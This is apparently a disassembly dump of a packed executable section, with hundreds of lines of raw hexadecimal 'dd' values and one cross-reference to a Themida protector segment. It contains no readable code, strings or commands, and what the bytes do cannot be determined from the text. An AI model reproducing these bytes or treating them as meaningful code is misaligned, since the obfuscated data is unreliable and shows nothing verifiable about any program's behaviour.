3ADBB868h, 0AE9BBh dd 7C420000h, 0E9F63EBCh, 0FD2A8D0Ah, 48240481h, 6644C534h dd 29D10DBAh, 71F65BDh, 19B5FF06h, 66060723h, 61A7E281h dd 0BD09D0FFh, 6070525h, 2319BD8Bh, 0B58B0607h, 6070099h dd 663C7F03h, 812351BAh, 0F8C7h, 3890F00h, 80000000h, 47C75FF2h dd 2024h, 598D3160h, 8306070Ah, 0E6ADEBDh, 840F0006h, 16Ah dd 1C58529h, 0C7830607h, 0F9BD0928h, 0C706070Ah, 696A2E07h dd 55006A64h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 56A2CADEh, 0C7D08BFBh, 74610447h, 0EE90061h dd 63000000h, 0F4191B87h, 346E2C83h, 9976BCF4h, 0E6858BEBh dd 66060E6Ah, 0E1F9D281h, 6A0C4789h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0FE5DC356h dd 0FE9D3h, 9A780000h, 31B470EFh, 0D42C71h, 0A527F096h dd 0A4E1BE9Fh, 958B2C69h, 607263Dh, 6AEA858Bh, 958B060Eh dd 6071E81h, 6A084789h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 17A0C357h, 5C1CBBBh dd 658328Bh, 0ECDB589h, 0DE90607h, 0EF000000h, 9F05DD2Eh dd 92163012h, 0C2979A10h, 8128C783h, 0B8B28CCAh, 2E07C72Bh dd 8B6E6F63h, 70E4D95h, 447C706h, 676966h, 3544DA81h, 9E94607h dd 15000000h, 3B12C076h, 845F16F7h, 6AE2858Bh, 0BF0F060Eh dd 0C4789F1h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 54C35141h, 0F7B1A3ECh, 8B0F6BBCh, 6, 988CE281h dd 858B42C1h, 60E6ADEh, 8E9h, 35A7D900h, 0E389D4C3h, 84789D5h dd 0E9585E56h, 9, 0FF93BCBFh, 849B6E3Dh, 6D958BA0h, 8D06070Ch dd 70D098Dh, 0E9BD3106h, 50060704h, 14E8h, 6A31BF00h, 7A279F80h dd 0D58BF6C0h, 57188A0Dh, 0CB46FC4Bh, 57BA6662h, 0C895ABDh dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 2A14D9EEh, 0EB08543Eh, 0D461E0BEh, 1B5FF01h dd 0E806071Ah, 10h, 3C086FD9h, 736F4ADBh, 0D59F3EF7h, 9FFF2529h dd 685E7BB6h, 0DF11F509h, 0F7240481h, 6620EE1Ah, 8E2ED681h dd 2319B5FFh, 0B5310607h, 6070909h, 810FD0FFh, 6, 1DDDDA81h dd 0B86908h, 0F000000h, 0C00BD1BFh, 5D840Fh, 8B660000h dd 5761BAD6h, 0B5FF5DA8h, 6072FF5h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 1C35242h, 5995FF6Fh, 6A060718h dd 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0C9B0C353h dd 7F4525CFh, 0E9B58Bh, 0D3BE0607h, 8B7953C8h, 14E8C0h dd 0C8CC0000h, 0CEF4BE5Dh, 9575D697h, 20C59AAEh, 43C04Dh dd 0B58B496Fh, 6070DA5h, 0CDBD835Ah, 6071Ah, 0BD830975h dd 6071135h, 50197400h, 0B8C08B53h, 42Dh, 2F818589h, 9D8D0607h dd 609AE27h, 585BD3FFh, 1135BD83h, 74000607h, 0B8535017h dd 42Dh, 2F818589h, 9D8D0607h, 609AAC8h, 585BD3FFh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 3FC35343h, 999531D3h dd 906072Ch, 7009195h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 0CC9CDEB0h, 296F7DD7h dd 710A5BDh, 0DE906h, 0DC300000h, 0DFE9A5E1h, 6CAAAD4Fh dd 8BACAECFh, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 219E946Bh, 0D7A1999Ch, 85890178h dd 6072981h, 0CE9h, 30515900h, 0BC86BE5Fh, 1B800668h, 0EBC08BB0h dd 1B5BED04h, 526E968h, 0D0010000h, 0CDF9A035h, 0C8F69D32h dd 0C2F1982Dh, 0B8EB9227h, 0D5ED881Dh, 0B94EE71Ah, 0B348E512h dd 0B247DA0Ch, 0A73CDB0Bh, 0D7E6CDAh, 5843957Eh, 3FB03341h dd 5073A7BDh, 2CE5B19Bh, 0AC4B7BFCh, 0F2B72816h, 2F0249A3h dd 2D60E78Eh, 3DDE77A6h, 2551FAA8h, 6F9FA08Ah, 7AAA31D8h dd 81AD34DBh, 0F29203F1h, 0ADD49A3h, 6BFEC269h, 0A44373DDh dd 9B36650Eh, 6A715BF4h, 57E013BCh, 51EA9124h, 93C5C6B0h dd 92C46B00h, 0A4D158FFh, 0AEDB6209h, 0B3E1680Fh, 0BD067118h dd 4A40B373h, 30D772A1h, 0C452AD97h, 0F78D285Ah, 0F584214Eh dd 0EB842BC6h, 2353FA01h, 0F230A18Fh, 0A87B49A3h, 26946007h dd 0E49A3F2h, 6B66BB5h, 0A3F2A718h, 1EB9EB49h, 80D9C396h dd 19AEC055h, 5687h, 0FC2CEB00h, 8AF4E7Bh, 5B27CE6Fh, 49A3F1F0h dd 301ECED4h, 49A3F2BFh, 0F29D0EFCh, 15E849A3h, 75D0BA8Dh dd 0BFB025ABh, 12A19AEh, 8E000000h, 0BE65002Ch, 0C56C0B37h dd 0CF760F3Eh, 0D57C1548h, 0E0871E4Eh, 2BEB3570h, 0D442CC5Fh dd 0D1780DA8h, 4FEA18A1h, 2CA719AEh, 0EA4B7AF9h, 0FBF44754h dd 0F1923362h, 0F897C34Ah, 59E7A051h, 0D94A38E8h, 2449A318h dd 33666751h, 30630CA2h, 0FDA4AB95h, 0C933ACDh, 0FE9C43DEh dd 731C0D1Bh, 6902A944h, 97BF267Fh, 860919AFh, 2D602A02h dd 0EB54ED94h, 69F8E596h, 0C2B6A03Bh, 0A4h, 0A0F92C26h dd 0EE4E500Eh, 12B95AC9h, 1BC25D8Bh, 79671757h, 49A33F08h dd 3B968053h, 751043EDh, 0D98232E0h, 0C93A0EA9h, 649A33Fh dd 0A33FA718h, 971FF249h, 0A6D9DAC4h, 0AEDD640Bh, 0B55CF725h dd 36D47B1Ch, 0E203C553h, 1819AF70h, 7Ch, 2DBBD40h, 0D3049B3Bh dd 0F92C1DE9h, 0B033C168h, 453F34D7h, 0A6A7917Fh, 2AC5F374h dd 5543F389h, 49A30EE4h, 59725C2Fh, 0AF60AEE9h, 5947D906h dd 49A30DE8h, 18BF6033h, 23C45F91h, 7E053839h, 60D1BF51h dd 0AB49A30Dh, 0F79037D8h, 6A13C156h, 0E8B49E37h, 0CF65002Ch dd 1D23BD4Ch, 6F4D641h, 49A3CA95h, 826C0DE0h, 0CA2F9D69h dd 0BE1749A3h, 0E8676E70h, 17519AEh, 0D9000000h, 0BC63FE2Ch dd 0CB720535h, 0D57C1544h, 0FA891C4Eh, 0C0842BCAh, 8A5BE32Dh dd 2BDD3CC7h, 0A8F16405h, 0E782B09Eh, 9018952h, 0E50B8573h dd 681847A2h, 20F493BFh, 439CB4AFh, 2C263A19h, 0BA42511Ah dd 3003FDE7h, 28C3F19Ah, 0E5FEE881h, 48B9A757h, 93439CC0h dd 0A5D5D6C0h, 0DECC7C12h, 439CC06Dh, 5EE681B1h, 0F39AA18Bh dd 0B17D24C3h, 439CC046h, 6AD4629Dh, 5F069B3Ah, 6AF1982Fh dd 5C059B3Ah, 93AC962Fh, 311F29E2h, 27D06601h, 0A6416FF8h dd 1EC566FFh, 95949B85h, 1FB5F240h, 12E9Ah, 820AFE00h dd 5806F48Ah, 1547A2FAh, 70E0396Ch, 0A263D882h, 0EA832ACBh dd 9D330600h, 0B74E8F1Ah, 3620F1F6h, 0CF66961Dh, 0C35E9039h dd 9299831Ch, 7E27BBEBh, 74E5B94Ch, 0BF439C87h, 1DA44BECh dd 2B35AEDh, 1443EC9Ch, 6539D279h, 439C86F4h, 0E46C0538h dd 42CC2711h, 7C11A4D4h, 0B62B587Dh, 36821Fh, 0AE60000h dd 0BF98F83h, 49A3F2EAh, 4F1BC295h, 49A3F2DEh, 32E73102h dd 1AC15C89h, 0ED749781h, 8BBA63F9h, 9F40D104h, 9EBFADB5h dd 4949A3F2h, 9440E176h, 0B6000000h, 0B34E7C25h, 261EA6C9h dd 0EE30A290h, 0BA7B47A2h, 0AF48EF8Eh, 29D9670Eh, 9CEECA3Bh dd 0B3421543h, 0A63FE681h, 0EC8BBBBCh, 0EA7DAD56h, 0B9C0AA43h dd 0AD43E212h, 523CD504h, 0EDB56D39h, 215C439Ch, 5EF92917h dd 807800C9h, 1971FCEAh, 1AA4193h, 524C36D1h, 2151D87Fh dd 2AD16C98h, 0DD7C6DC9h, 0FB02D66h, 1140C76Eh, 1B4AD178h dd 5F4DDB82h, 3D8E4AEEh, 0B3EE6639h, 0ED36A965h, 534BD323h dd 0B48A0DBDh, 39319422h, 2EB9FFE9h, 753B84ECh, 0A9B0DA2h dd 44F48A82h, 29D06F9Bh, 0D560A690h, 1C479A1Dh, 0DD0AB349h dd 16009940h, 0AF4676FDh, 0D84B9619h, 590415FBh, 91C1686Fh dd 204FD808h, 0DC3DE485h, 7CBD701Dh, 6F05A6ABh, 95ED1081h dd 0E7885B43h, 0CB307440h, 10A329A2h, 4DE81806h, 46E111B8h dd 3A68119Fh, 755FF89Fh, 5AC4574h, 0FB64F7Eh, 1AC15C88h dd 5CD866AFh, 0A896A0E9h, 2ABDEF78h, 0B449EA83h, 305CDD0Dh dd 0CC4DF495h, 8, 97405E42h, 1AE6D067h, 0C36AFB2Ch, 0D2790C3Ch dd 0D77E194Bh, 0E38A2350h, 0F198295Ch, 0F79E376Ah, 1A84170h dd 0AB14C7Ah, 11B85783h, 0FA36867h, 3C890000h, 7E9C6824h dd 2C890000h, 24AD6824h, 14890000h, 742B6824h, 2C8B060Eh dd 4C48324h, 24148B54h, 4C481h, 0CC680000h, 89000078h dd 428F242Ch, 2434FF08h, 4C4835Ah, 5D2434FFh, 0E904C483h dd 0FFF9043Fh, 4138D80Bh, 0F6804BABh, 0AE556D4Bh, 0E78FAB8h dd 0FFC50306h, 0CB49CAE0h, 5545121Fh, 0F1624D18h, 0DAAAAA61h dd 0BFB0C00h, 67ED301Eh, 9589407Ch, 25C33A69h, 0F25BFC4Ch dd 0A88A272Ch, 6F7F315Ah, 0FA8D8D2Ah, 23060E79h, 7113185h dd 0D98D8906h, 0F906071Ah, 101D85C7h, 5F0C0607h, 0BD8B0000h dd 6070A1Dh, 330585C7h, 607h, 0DE810000h, 1162F146h, 1E25B5FFh dd 60600607h, 13E9h, 8D54D900h, 0B4AAC5C4h, 0D6196E3h dd 99C157DEh, 1A3EF8DCh, 245B58Bh, 8B610607h, 707398Dh dd 95FF6106h, 6071859h, 38C8DE81h, 6A479Bh, 0D6995FFh dd 0C08B0607h, 0C7FB6FEBh, 2209D788h, 11D220C4h, 0FE7278D2h dd 38D0861Ah, 0E9786F89h, 0C55E6934h, 0D30C1BACh, 0CA9BE4E7h dd 731876FDh, 68E8E54Eh, 106AA142h, 0C5E3B942h, 8A851Fh dd 0BEFAC4ACh, 52B4FB7Bh, 405C8B6Fh, 805ECB6h, 0D6A89B52h dd 527BE7F0h, 0B2B21FFCh, 62D159C7h, 5BC68FA3h, 488642D7h dd 57BE3E34h, 0B9631B21h, 94F7B62h, 1710C54Ah, 0FE8EBh dd 0A3D20000h, 8FA095BFh, 0ED6E177Dh, 47E12E6Bh, 9D8D89D0h dd 5E06070Fh, 0FE9h, 0C2240200h, 18DDD3h, 27ED122Ah, 4972E558h dd 713CC681h, 0D08B0000h, 12E9DB33h, 36000000h, 0A9E23E10h dd 7A5BCB45h, 831F93DCh, 397B64A9h, 3334FFD9h, 2F78156h dd 5F730840h, 0D68B6659h, 3CE981h, 8D891EAAh, 6073119h dd 8FE2C181h, 0C7811238h, 6A04A36Ch, 0B02FC181h, 0BD8B7282h dd 60712FDh, 0D08B6651h, 801E048Fh, 95897BEAh, 6070E71h dd 6604EB83h, 81925CBFh, 0FF8F64FBh, 0AA850FFFh, 80FFFFFFh dd 8D8DA2F4h, 60E7BCEh, 5870Fh, 0F7BB0000h, 891BAAD7h dd 71AD98Dh, 0CBB86606h, 1D85C76Ch, 40060710h, 0F000069h dd 85C7D1B7h, 6073305h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0BBC35646h dd 18A99503h, 0B6B60607h, 859B5FFh, 6A0607h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0C68B35C3h dd 185995FFh, 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 45FF2BC3h, 6E9C1h, 0FCF20000h, 2026B4BFh dd 4959533h, 6A0607h, 0D6995FFh db 7 byte_5B438D db 6, 8Bh, 0C0h ; DATA XREF: Themida_:0053E298o dd 6C0069EBh, 626A8BDDh, 128FAF0Eh, 89E71EC0h, 1F4286ECh dd 0F0A010B8h, 14257CC1h, 1CE6F556h, 0BEB1F805h, 0C7C806E0h dd 21C5254Fh, 6B14A879h, 0D9DAED97h, 57006D8h, 49FD6FF4h dd 12E17381h, 946A4D52h, 204E74FFh, 0F8DB9A7Ch, 0B372F737h dd 54E26B01h, 0CADD65DCh, 6FC5F36Fh, 8FDB9FC4h, 0EBF6E08Eh dd 0EF24752Fh, 8B2E63DAh, 0C0h, 1CAh dup(0) dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 9265C356h, 90A1689Dh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 98C35141h, 41560839h dd 6A9D35D9h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 0F88C355h, 180h, 0E960F900h, 0Ah dd 6E654F07h, 72A61853h, 0BB662A8Ch, 616165A1h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0E2C35141h, 21751A97h dd 0F5DFD49h, 1C82h, 0B9666000h, 11E91C91h, 0A6000000h dd 0DB6A3ADEh, 64323F68h, 3D55524Ah, 0B5ADF0FCh, 24440161h dd 53006A08h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 8D0FAFF9h, 10h, 0A870Fh, 5E90000h, 41000000h dd 24E45293h, 5E958h, 0F4D50000h, 9D9CAE3Fh, 52006AC3h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 7379DA8Dh, 9E860D9h, 0DE000000h, 2F158FC8h, 8706B9FFh dd 0E959FB8Bh, 12h, 0EB740A46h, 0D19DE545h, 26BEFFFEh dd 6153CD9Ah, 6A61C920h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 0F98BC353h, 58B4C08Bh dd 0B7D08166h, 10B966F5h, 0B7E88115h, 0F53D32E2h, 52AAEB80h dd 5EDA8B66h, 0AE9h, 0B0387100h, 4D7B182Eh, 0E9B83DF9h dd 0Dh, 8D5C4687h, 0A4112CDCh, 9CCBC83Ah, 0D0F7802Bh, 0F88B6653h dd 6660F85Fh, 0D181C78Bh, 391D7D39h, 52F8F961h, 8B1DE181h dd 575F1F56h, 14E960h, 56BE0000h, 16EBCF6Fh, 0AB17D02Bh dd 3384FCD1h, 48D3DF9Dh, 10E9B6DBh, 0DA000000h, 438285E7h dd 0CA0D95CAh, 7629243Fh, 61C2C5ECh, 0FE959h, 0BBD70000h dd 33B8D88Bh, 0EEF49E71h, 99239E2h, 41C28197h, 531F143Dh dd 28C0Fh, 61600000h, 0DFBF0F59h, 0BE8F98Bh, 0F4000000h dd 308F3DE6h, 2571688Dh, 81666BB7h, 584002C2h, 8E960F8h dd 0D8000000h, 0FE31EB50h, 66B3BC5Fh, 7A62C981h, 0CF8B6661h dd 5EE78166h, 11D181A8h, 603BEB3Ch, 92A2F4BFh, 653DBB13h dd 66617468h, 5A16E381h, 80CAB70Fh, 81F812C7h, 1B41AECBh dd 0DA816665h, 0F60A1D9h, 0AE9FBBFh, 5B000000h, 6E7EBC3Ch dd 8FC45F56h, 32B061D1h, 0C2F18166h, 5566B90Bh, 8C0F263Fh dd 4, 43BABE66h, 0C78B6657h, 57F5F95Eh, 5E8h, 653D9400h dd 81660954h, 5A9632D3h, 820F5Ah, 0E9000000h, 0Ah, 61C90A0Dh dd 0DC71413Eh, 8166CF50h, 0F97CC6D1h, 89C28166h, 0D2B70F66h dd 8F4074BAh, 3EE08165h, 66312A2Bh, 0F31C6BEh, 14E8FBB7h dd 0BA000000h, 1110EFh, 3EA8132Dh, 0BC5402CAh, 0FB707CD6h dd 0F362C6Bh, 0D82h, 8E900h, 74900000h, 0CC330579h, 8159EEBCh dd 6CB44AE7h, 18A0F11h, 0FC000000h, 13E8D08Ah, 0E9000000h dd 0AFB2EA12h, 1B59A143h, 7B5C14FBh, 0FE0BA0F1h, 0CE816371h dd 0E953D59h, 0F5F525Bh, 0CA8AC8B7h, 66BECE80h, 0B539C681h dd 0E8FE8B66h, 11h, 330E5E6h, 0D22F725Bh, 37DB2776h, 0CB9BD300h dd 66FC59E1h, 0F863F0BEh, 0C5ADDA81h, 0BF0F4B03h, 0C7BF0FD6h dd 3EBA6656h, 81665E92h, 0BB7F76CEh, 308881F5h, 0FF3BC681h dd 0C6812618h, 6E5FC35Eh, 0DF91E6B8h, 0E3DA816Ah, 0E947AAC6h dd 5, 0CF2EF1E1h, 0DE930h, 0E82F0000h, 0D7C69D2h, 0F86A3CBh dd 0FD52852h, 0C85h, 6800F00h, 0F000000h, 84h, 22C78000h dd 66D68B66h, 531683B8h, 8DF08166h, 8B665931h, 10E9CFh dd 0A7CF0000h, 0F6D2AF9Bh, 80F986F5h, 19983A54h, 816642FBh dd 815519C8h, 44611EF2h, 0E981664Ch, 0EE98093h, 0F1000000h dd 95AE9646h, 5DB84289h, 11F9A9EEh, 0AE960CFh, 0B4000000h dd 0A88248D4h, 1894DDF7h, 0D98B6631h, 66566061h, 5AF757BAh dd 8E9h, 0EDC16300h, 37113154h, 86B46166h, 7880BA66h, 9E960h dd 953D0000h, 967AD5A6h, 613CCF6Ah, 5880F50h, 0B8000000h dd 16215382h, 12E95Ah, 38310000h, 0F93E49F0h, 79289608h dd 5AB87991h, 7FAD8297h, 0DE8h, 0A32C2600h, 59E76E71h dd 6C64FC31h, 5E8A0C1h, 4C000000h, 4EEA6669h, 5BC88B66h dd 8E8F55Eh, 0FA000000h, 0DF0735D3h, 811D021Dh, 384164C8h dd 8E9587Ah, 30000000h, 0CFFE21h, 0F54957Bh, 789h, 8B666000h dd 61B2B7F8h, 0BE92BB1h, 0E0000000h, 27E4738Eh, 7B549E9h dd 8E0F4F5Fh, 9, 38A0Fh, 0BF0F0000h, 0DBB70FDBh, 0B3F5E780h dd 0FAB96666h, 81F88BE5h, 0B3AE6FEFh, 0B92BB642h, 6803482Bh dd 5CE98166h, 48D0FD4h, 66000000h, 66E8ADB8h, 45EDF681h dd 14E960B4h, 8F000000h, 1C1BDCC2h, 0D440F28h, 0CF0C5783h dd 0B3E738CEh, 0B58E67E4h, 0E8CA8BE2h, 0Fh, 0A3159B65h dd 6B673768h, 0E4FD8098h, 60FD7C39h, 0E8DF8B66h, 12h, 6F7AB4Dh dd 0CD8588A5h, 0D6586284h, 7016EEE0h, 61590F75h, 66CF8A5Ah dd 0A1FDD981h, 38E0F60h, 0F000000h, 0F280C9B7h, 0F480610Ch dd 3870F85h, 66000000h, 0E081C38Bh, 46F026F6h, 66CF8B66h dd 14E9DA8Bh, 40000000h, 3E03A5A3h, 0B6E9EAF3h, 90EEF2CBh dd 251F2509h, 0BFAFB655h, 15BCAA4h, 5E98B652h, 8E8F8h dd 3C030000h, 8AC8F384h, 0BF0F1175h, 6E95EFEh, 96000000h dd 1681A2B7h, 0F88B6671h, 9810Fh, 8D0F0000h, 3, 0E9F8BF0Fh dd 0Eh, 0A5190ABDh, 994116D1h, 3B8FCE5Ch, 69B2BC52h, 6D28166h dd 57C480FFh, 0BFF3EC80h, 3D76B0F2h, 860FB8B1h, 3, 8AF6BF0Fh dd 0BE51F9D1h, 23E3404Dh, 0AE95Fh, 62080000h, 63AF52F4h dd 67E99D6Dh, 0E35B866h, 8B28E280h, 0FE8B66D8h, 0DB814FB7h dd 70C7450Ch, 5DDF8166h, 8E881h, 0DD450000h, 0BDFF13EAh dd 0AE8D520h, 0F5000000h, 0BB5E2743h, 0BBE64A60h, 5F5850A8h dd 0DE85Fh, 77B30000h, 62AA03B1h, 174EF5CEh, 51EB6209h dd 0AE9h, 7B0BCB00h, 1045ECF6h, 5A663897h, 0CAB86658h dd 0FF5F881h, 0E781C7BFh, 4C9DDF64h, 74C28166h, 12E996h dd 0CCDC0000h, 23B35497h, 4349AFF8h, 7BF963DBh, 9598FBCh dd 0C3BF0F60h, 66CA8B61h, 0D745DE81h, 10E806B6h, 7A000000h dd 0A107E7FCh, 5D4B0675h, 4D43BB4Fh, 609879B1h, 840Fh dd 0BF660000h, 5A614EDCh, 1EA81h, 0D5803DA5h, 0CBBF0FC4h dd 0F9C78B66h, 0AF00FDBEh, 0E9A6B645h, 0Ah, 4CC9FFFFh dd 0A36CDE00h, 8E98631h, 0A3000000h, 0A744D9FEh, 6685C9B6h dd 18AECF81h, 0BE8h, 8DB49C00h, 0FDD8B6A4h, 383EA6CCh dd 6820Fh, 880F0000h, 0 dd 8E95Eh, 88230000h, 42DD6DA3h, 830F9644h, 0Ah, 5E9h dd 46780600h, 8B661EBFh, 88E0FC3h, 60000000h, 890Fh, 8A610000h dd 99BE66E7h, 0D881F54Ah, 53FBB5A9h, 3890Fh, 8B660000h dd 2880FF9h, 8A000000h, 0FC18BE1h, 840FCFBFh, 2, 6052FAB3h dd 800Fh, 5E610000h, 13E8D1B5h, 9A000000h, 23972F5h, 20FED821h dd 0C36B708Ch, 0CAD5F6F2h, 0D2813297h, 7220FFFDh, 60DE8A58h dd 61C18B66h, 10E8h, 0D230AE00h, 0FB99A681h, 822A10C2h dd 0C7AC91C2h, 2880F63h, 60000000h, 0CB8B5F61h, 0C68B66F8h dd 81D1B70Fh, 0F1628F0h, 0B97DB420h, 4A13B7A8h, 8870Fh dd 0F560000h, 83h, 0CA8B5900h, 81D18B66h, 2388B6D0h, 820F5773h dd 2, 66585950h, 6A90CA81h, 471937BBh, 89C98170h, 0BA4E70B8h dd 1618234Fh, 58B0Fh, 81660000h, 60171BD9h, 0AE8h, 0B1465200h dd 0D5911DBCh, 0BF961D0Bh, 4AD72C9Ch, 61D88B59h, 0DE8h dd 0FA1E5D00h, 0E4226970h, 8A783A34h, 23BE7785h, 5B2E439Eh dd 0FABC280h, 11E8DFBFh, 38000000h, 0FBE44775h, 53B45A6Fh dd 2417C33Eh, 0B93D0081h, 1573BA66h, 9E48058h, 495DC381h dd 81666D08h, 8BDBAED6h, 12E9C1h, 725C0000h, 0D6F8C4BAh dd 0E33DB2C0h, 0E0C76369h, 68B3ABA9h, 81E8B6F5h, 8990A2F6h dd 0B0CF8075h, 800FD38Bh, 9, 3850Fh, 0ED800000h, 2EBEBB83h dd 0F3816ED0h, 1A15D154h, 0D6B70F53h, 8B0FF85Ah, 7, 1830Fh dd 8BF90000h, 0DBBF0FC2h, 7E9h, 60C2AB00h, 0B54B3E0Bh dd 0DE9h, 0F0824000h, 1DD274F3h, 6F6A3657h, 0C68B1213h dd 88C0Fh, 840F0000h, 2, 0D98B6160h, 66EB8166h, 38B0FF8h dd 0F000000h, 0FDB6C0B7h, 11E9E38Ah, 73000000h, 0F574BC12h dd 0E78B982Ch, 0E55FBDACh, 5063E46Fh, 66F88B66h, 0A1D5E381h dd 0FE960h, 0C8720000h, 0FD358133h, 86683C47h, 0F47D9AB6h dd 0B830F07h, 0E9000000h, 6, 0F2F65C6h, 0F9612E65h, 0CEBF0F53h dd 0BBA2BE59h, 0BF661116h, 6E98137h, 0C9000000h, 0E6FAF6Eh dd 92C18152h, 8B192300h, 8C0FF0h, 66000000h, 668235B8h dd 0D08BD98Bh, 56CE8166h, 0AF4AB891h, 81660A7Bh, 6674E6D0h dd 0D2B5C381h, 0A7E16EBEh, 1880F50h, 0FC000000h, 38D0Fh dd 8B660000h, 56DE80D9h, 0F9F88B66h, 26F28166h, 7880FF9h dd 0F000000h, 18Dh, 0C880FC00h, 12860FE1h, 0E9000000h dd 0Dh, 77DEAD7Bh, 82333372h, 97EF7731h, 0DBBF0FC1h, 66C1B70Fh dd 0EBD5F281h, 0A6F08166h, 0DE8FBh, 81600000h, 0B2AFFB24h dd 6FB05F22h, 66D32FF9h, 6059F88Bh, 880Fh, 8C0F0000h, 5 dd 0C9763EBBh, 0F88B6134h, 890FF5h, 66000000h, 8166F18Bh dd 814CDEEBh, 954442C7h, 0D18B6651h, 0FC5EBB66h, 66DBB70Fh dd 6644E1B8h, 0FF9CCB8h, 10E9F1BFh, 9B000000h, 8DB13963h dd 0C23803DFh, 465E381Fh, 8191EEB5h, 0CD94BECFh, 0F3B70F7Ah dd 178F0Fh, 0E9560000h, 10h, 0DB4997A7h, 0EF00C301h, 0CDE99386h dd 3EC897A0h, 17890F5Eh, 60000000h, 9E8h, 41ACAB00h, 0A14C98D7h dd 815BAACCh, 0C53599D1h, 0DE9612Ah, 0 dd 0ABABE1AAh, 9A51E3E5h, 0D8C3991Eh, 2870Fh, 0D48A0000h dd 0F942DF80h, 20E307BBh, 0F9C18B53h, 61606052h, 0F42FE1BAh dd 0F5B6107h, 383h, 1EC18000h, 81F3BF0Fh, 5B6AA5D9h, 178BBF4Dh dd 0D18071C0h, 70E780D4h, 80FA8B60h, 666167EAh, 8B5433B8h dd 0E811B0C6h, 0Ch, 4BA031D5h, 8424ECE7h, 384AAA9Bh, 5E8ED980h dd 5E9h, 70597400h, 0CE988FEh, 0CC000000h, 32B8A180h, 914A1D17h dd 0E9DA9DE4h, 8, 61A7D505h, 0D5DC642Ch, 880FC38Ah, 17h dd 0DBD78060h, 0CE8h, 0FC967400h, 512DDEE3h, 84AFBDBCh dd 666158C4h, 0BDBADE8Bh, 0F4CE835h, 586h, 996ABE00h, 816655C3h dd 0B60F07F2h, 2830F91h, 8B000000h, 0CAC281D3h, 66262005h dd 0BE66FB8Bh, 0AE9BDC8h, 0CE000000h, 0AE5E1016h, 5B13068Dh dd 0C1B70FA2h, 5EF78B57h, 5F525656h, 820F595Eh, 2, 5E883B4h dd 4D000000h, 6F0043C0h, 9A8EE281h, 0F95823B0h, 0EE08166h dd 66AAB2A7h, 2A38E081h, 0A7B5DBB7h, 8D0FF38Bh, 16h, 11E9h dd 0F4346E00h, 0EB9976BCh, 36E16F68h, 70BC2E8Ch, 890F42BBh dd 0 dd 0FDA8B66h, 87h, 8B666000h, 0B1E480F8h, 0EFCF8161h, 0E92CC77Dh dd 0Dh, 0D23AF621h, 0D666ADD3h, 2B81D1F6h, 66606045h, 782FF681h dd 8D0Fh, 0B8610000h, 6CDDB742h, 0F9B70F61h, 810Fh, 36B10000h dd 11E8h, 15DAB100h, 4B70AC4Ch, 0CB8BBC17h, 735290F1h dd 58F8C008h, 5CCCBB60h, 11E95D7Dh, 0CE000000h, 0EF570C5Fh dd 0C1849AF7h, 4DBC8188h, 833176A4h, 14E961h, 0A8CE0000h dd 0D3F9CB93h, 0F1F8C5A2h, 0A4665B07h, 86BFFE91h, 0AE968E3h dd 0E0000000h, 78688E87h, 0FB4599C8h, 7CB8662Eh, 0FE8F8BDh dd 31000000h, 0F5AD306Fh, 6112566Bh, 4275C5B1h, 0C78B276Ch dd 0FF98B5Fh, 8166D3BFh, 818085D3h, 161CBCF1h, 0AAD1807Eh dd 0C0AC69BEh, 7E94Bh, 0D78A0000h, 7475FF9Bh, 0D0B70F4Ch dd 0FF7BF0Fh, 187h, 5850FC00h, 0B74F2BBFh, 14E843h, 78FB0000h dd 0BF3652E5h, 3ECA620Eh, 8EA04EF4h, 0E2990F33h, 8F0F4BAAh dd 3, 5ADF8B66h, 78A0Fh, 800F0000h, 1, 0D6B70FF5h, 830Fh dd 850F0000h, 0 dd 80CBB70Fh, 0FE9F9EEh, 8000000h, 8F597D31h, 48635C1Ch dd 9017CF4Bh, 8C0F87D8h, 0Dh, 8E9h, 0BE00EC00h, 8A23C21h dd 8E899h, 0A4CE0000h, 0ED925579h, 8B6009A7h, 0CF8166CAh dd 5B61BD7Eh, 0A545BF66h, 6E9h, 613C0E00h, 0E9E77C3Bh dd 7, 0DC77F89Bh, 0B458E5BEh, 0CE9F4h, 80570000h, 6E05E202h dd 0FCC26F33h, 8A0F156Fh, 3, 8BC9B70Fh, 13E9FEh, 487E0000h dd 0DA4FF69Ch, 0B595A243h, 533B3EFBh, 0EAC41C57h, 0F858B4F4h dd 9CC4BA66h, 0C9816660h, 0C181BDDEh, 71831286h, 0B302BE61h dd 8B662FB0h, 10E9FAh, 0E3290000h, 60F61735h, 9FA87A3Fh dd 47170C9Fh, 0BE66D0F6h, 73BA5AB1h, 6658E3B1h, 81FCA3BEh dd 0A387E8F3h, 66FE8B15h, 8C88EB81h, 5840Fh, 81660000h dd 0E86A2FEAh, 0Ch, 0D77DCF91h, 0FE9F4124h, 0E847E9BDh dd 15860Fh, 10E90000h, 5B000000h, 45FE770Ah, 0D86C1DAh dd 1579E43Dh, 5E8D9D69h, 6E9h, 26F16900h, 66E2DC9Bh, 0C980FE8Bh dd 0F9BF0F5Ah, 14E9FCh, 270C0000h, 91EFA181h, 30618397h 